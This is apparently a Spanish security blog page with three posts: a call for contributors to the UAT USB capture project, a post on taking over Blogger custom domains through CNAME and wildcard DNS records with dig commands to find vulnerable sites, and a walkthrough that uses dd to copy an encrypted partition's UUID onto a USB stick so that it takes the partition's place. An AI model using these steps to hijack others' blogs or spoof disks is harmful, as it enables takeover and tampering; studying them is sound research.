Los Caballeros

"Sobre seguridad, programación, modding, frikismo, etc... "

Cómo puedo colaborar con el proyecto UAT?

Twitter icon Twitter icon
Web del proyecto: http://loscaballeros.mx/UAT/

Cómo puedo colaborar con el proyecto UAT?

Es bastante simple, tenemos 3 modalidades para poder participar en el proyecto:

1. Escribiendo documentación.
A los desarrolladores nunca nos ha gustado escribir documentación, pero es una parte muy importante, por lo que necesitamos ayuda en esa parte (escribiendo papers y documentando las diferentes tools).

2. Enviando logs.
¿Por qué es importante tener un repositorio de logs (archivos uat)? Spoofear o analizar dispositivos sin tenerlo físicamente :D... es decir pueden colaborar capturando la comunicación de cualquier dispositivo usb que tengan a la mano, ¿Cómo se hace esto?

Necesitamos una computadora linux, tools.py (core) y usb-analyzer.py

El procedimiento es realmente simple:

Levantamos USBMon (USB-Analyzer captura el trafico de usbmon utilizando pypcap).

linux-7nli:/home/xianur0/arduinohack/UAT # modprobe usbmon
WARNING: All config files need .conf: /etc/modprobe.d/uisp_parport, it will be ignored in a future release.

Buscamos los valores del dispositivo a analizar:
linux-7nli:/home/xianur0/arduinohack/UAT # lsusb
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 003 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 004 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 005 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 006 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 002 Device 003: ID 0c45:62c0 Microdia Sonix USB 2.0 Camera
Bus 005 Device 002: ID 0930:0200 Toshiba Corp.
Bus 005 Device 003: ID 08ff:1600 AuthenTec, Inc. AES1600

En mi caso capturaré el "AuthenTec, Inc. AES1600", en esta parte es recomendable descargar el driver de kernel en caso de que lo tengamos.

Ahora vemos la ayuda (esta parte obviamente es opcional xD).

linux-7nli:/home/xianur0/arduinohack/UAT # python usb-analyzer.py
Use: usb-analyzer.py [args]
--sk=[1|0] (Skip duplicate entries. Default: 0)
--skerror=[1|0] (Skip -ENOENT, Broken Pipe and response==null. Default: 0)
--bus=[bus number]
--vendor=[vendor id]
--device=[device id]
--file=[out-file]
--stop=[max resps. (numeric)]
--debug=[0-9]


Iniciamos con los argumentos y dejamos a la espera de que el dispositivo se identifique (necesitamos desconectar el dispositivo antes o no tener cargado el driver).

linux-7nli:/home/xianur0/arduinohack/UAT # python usb-analyzer.py --vendor=08ff --device=1600 --file=AuthenTec
[-] Checking USBMon...
1
2
3
4
5
6
0
[-] 7 buses

Waiting. Bus 0...

Ahora en este paso es conectar el dispositivo, cargar el driver o pasar el dispositivo a una maquina virtual (y capturar la comunicación de la virtual con el dispositivo ;)... esto es realmente útil en algunos casos :D)
Para terminar únicamente necesitamos presionar CTRL + C y luego: esperar que el dispositivo envíe un ultimo dato o desconectar el dispositivo. Con esto tenemos generado el archivo .uat :D... luego pueden enviármelo a mi correo y yo lo subo al sitio (agregando los respectivos créditos).

3. Desarrollando.
Es un poco complicado para un solo desarrollador mantener un proyecto tan grande como lo es UAT, por lo cual se necesita armar un equipo para mantener el desarrollo constante del proyecto :D.

Cualquier duda o comentario: xianur0.null[at]gmail.com (funciona como correo, gtalk y messenger xD).


Saludos!


Blogger Fail

Twitter icon Twitter icon
Este creo que es el "bug" más tonto que he visto en mi vida xD... en fin... se ve más o menos así:


Cuando configuramos nuestro bloggler con un dominio se tiene que crear un registro DNS:

;; ANSWER SECTION:
web.com. 10800 IN CNAME ghs.google.com.
ghs.google.com. 81359 IN CNAME ghs.l.google.com.
ghs.l.google.com. 280 IN A 74.125.128.121

Es decir configuramos un nombre canónico (CNAME) lo cual en términos más simples es como un apodo, una persona (un servidor) puede tener muchos apodos (puede manejar muchos dominios) aun teniendo un nombre, en este caso web.com lo estamos dando como un apodo a ghs.google.com (el cual sería el "nombre real" del servidor) lo cual quiere decir que cuando intente resolver web.com va a resolver ghs.google.com.

Ahora el detalle del "bug" (si le quieren llamar así, yo creo que es más un #EPICFAIL) es que blogger te pregunta si redirecciona la raíz del subdominio que configuramos (el cual puede existir o no :P)... al redireccionar la raíz el CNAME está intacto y la IP es la misma... pero blogger va a intentar cargar (por ejemplo en mi caso) xianur0.web.com en lugar del blog real (que no debería de existir, por lo que queda bloqueado el acceso al blog)... ahora algo interesante respecto a configuraciones DNS:
Existe algo llamado Wildcard DNS record, lo cual es poner un asterisco como subdominio, tipo: *.web.com, esto es todos los subdominios de web.com van a apuntar a un mismo registro DNS... por ejemplo si tenemos un wildcard con todos los subs apuntando al mismo lugar... podríamos "generar" subdominios falsos... de este modo con configurar nuestro blog con: xianur0.web.com y redireccionar la raíz blogger cargaría nuestro blog en lugar del real :P

¿Cómo detectar que una web es "vulnerable"?

Una forma realmente simple y tonta es:

xianur0@linux-7nli:~> dig CNAME web.com | grep ghs.google.com && echo Vulnerable!
web.com. 10800 IN CNAME ghs.google.com.
Vulnerable!
xianur0@linux-7nli:~> dig ANY web.com | grep "\*\." && echo "Muy Vulnerable"

;)...

PD: Este "bug" tiene como 3 años que se reporto... y aun anda ahí xD

Ahora pueden reír :D

UUID Hacking

Twitter icon Twitter icon
Está es una técnica un poco "extraña" de "hacking", la idea de este ataque se basa en atacar el funcionamiento de la pila USB para suplantar un dispositivo por medio de un UUID Reemplazado.

"Un Identificador universalmente único (universally unique identifier o UUID) es un identificador estándar usado en el desarrollo de software"

"Un UUID es un número de 16-byte (128-bit). El número teórico de posibles UUID es entonces de unos 3 × 1038. En su forma canónica, un UUID consiste de 32 dígitos hexadecimales, mostrados en cinco grupos separados por guiones, de la forma 8-4-4-4-12 para un total de 36 caracteres (32 dígitos y 4 guiones). Por ejemplo:
550e8400-e29b-41d4-a716-446655440000"

Gracias amada wikipedia, no lo podría haber dicho mejor ;)

¿Cómo funciona el montado de devices en linux con UUID?

linux-7nli:/home/xianur0 # ls -alh /dev/disk/by-uuid/
total 0
drwxr-xr-x 2 root root 100 abr 1 11:07 .
drwxr-xr-x 5 root root 100 abr 1 11:01 ..
lrwxrwxrwx 1 root root 10 abr 1 11:07 471f4811-2b4d-421f-8883-2bd5f60b7877 -> ../../dm-1
lrwxrwxrwx 1 root root 10 abr 1 11:07 58ac1371-1dd9-4996-9be4-366f4758551c -> ../../sda3
lrwxrwxrwx 1 root root 10 abr 1 11:02 8c787ac4-88c4-4b85-9c07-7d88449c37e1 -> ../../sda2

Al hacer un ls a la lista de discos por uuid, notaremos que hacen un enlace simbólico al dispositivo, agregamos una memoria usb cualquiera:

lrwxrwxrwx 1 root root 10 abr 1 13:54 B4FE-5315 -> ../../sdb4

Notaremos que el uuid tiene un formato diferente (esta memoria fue formateada en FAT)

Formateamos desde linux en swap (en mi caso) y notaremos que el uuid cambia... entonces esto nos puede hacer pensar que el uuid se escribe directamente en los encabezados de la memoria usb y que no es algo fijo.

linux-7nli:/home/xianur0 # blkid | grep sdb
/dev/sdb1: LABEL="openSUSE-DV" UUID="B4FE-5315" TYPE="vfat"
/dev/sdb4: UUID="4850bce1-67ae-4c6c-97cf-54c2c5b9cb12" TYPE="swap"

dd:

linux-7nli:/home/xianur0 # dd if=/dev/sdb4 of=/home/xianur0/sdb4 ibs=2040 count=1
1+0 registros leídos
3+1 registros escritos
2040 bytes (2,0 kB) copiados, 0,00251428 s, 811 kB/s

Hex editor:


PD: El UUID está grabado dentro de los primeros 2040 bytes (normalmente).

Subimos los cambios (en esos 2040 bytes) al dispositivo (sobrescribimos):

linux-7nli:/home/xianur0 # dd if=sdb4-edited of=/dev/sdb4 conv=notrunc
3+1 registros leídos
3+1 registros escritos
2040 bytes (2,0 kB) copiados, 0,00582027 s, 350 kB/s
linux-7nli:/home/xianur0 # blkid
/dev/sda2: UUID="8c787ac4-88c4-4b85-9c07-7d88449c37e1" TYPE="reiserfs"
/dev/sda3: UUID="58ac1371-1dd9-4996-9be4-366f4758551c" TYPE="crypto_LUKS"
/dev/mapper/cr_sda3: UUID="471f4811-2b4d-421f-8883-2bd5f60b7877" TYPE="reiserfs"
/dev/sdb1: LABEL="openSUSE-DV" UUID="B4FE-5315" TYPE="vfat"
/dev/sdb4: UUID="58ac1371-1dd9-4996-9be4-366f4758551c" TYPE="swap"

Ahora la parte bonita:

linux-7nli:/home/xianur0 # ls -alh /dev/disk/by-uuid/
total 0
drwxr-xr-x 2 root root 100 abr 1 14:51 .
drwxr-xr-x 5 root root 100 abr 1 14:51 ..
lrwxrwxrwx 1 root root 10 abr 1 11:07 471f4811-2b4d-421f-8883-2bd5f60b7877 -> ../../dm-1
lrwxrwxrwx 1 root root 10 abr 1 14:51 58ac1371-1dd9-4996-9be4-366f4758551c -> ../../sda3
lrwxrwxrwx 1 root root 10 abr 1 11:02 8c787ac4-88c4-4b85-9c07-7d88449c37e1 -> ../../sda2
linux-7nli:/home/xianur0 # ls -alh /dev/disk/by-uuid/
total 0
drwxr-xr-x 2 root root 120 abr 1 14:51 .
drwxr-xr-x 6 root root 120 abr 1 14:51 ..
lrwxrwxrwx 1 root root 10 abr 1 11:07 471f4811-2b4d-421f-8883-2bd5f60b7877 -> ../../dm-1
lrwxrwxrwx 1 root root 10 abr 1 14:51 58ac1371-1dd9-4996-9be4-366f4758551c -> ../../sdb4
lrwxrwxrwx 1 root root 10 abr 1 11:02 8c787ac4-88c4-4b85-9c07-7d88449c37e1 -> ../../sda2
lrwxrwxrwx 1 root root 10 abr 1 14:51 B4FE-5315 -> ../../sdb1

Lo que pasó es que se remplazo el enlace simbólico original por el de la usb :P

También podemos hacer este procedimiento con UAT en un solo paso:

linux-7nli:/home/xianur0/arduinohack/UAT # python usb-change.py --device=/dev/sdb4 --search=4850bce167ae4c6c97cf54c2c5b9cb12 --replace=58ac13711dd949969be4366f4758551c

Found in: 1037
Ok

Y tenemos los datos cambiados :P

Happy Hacks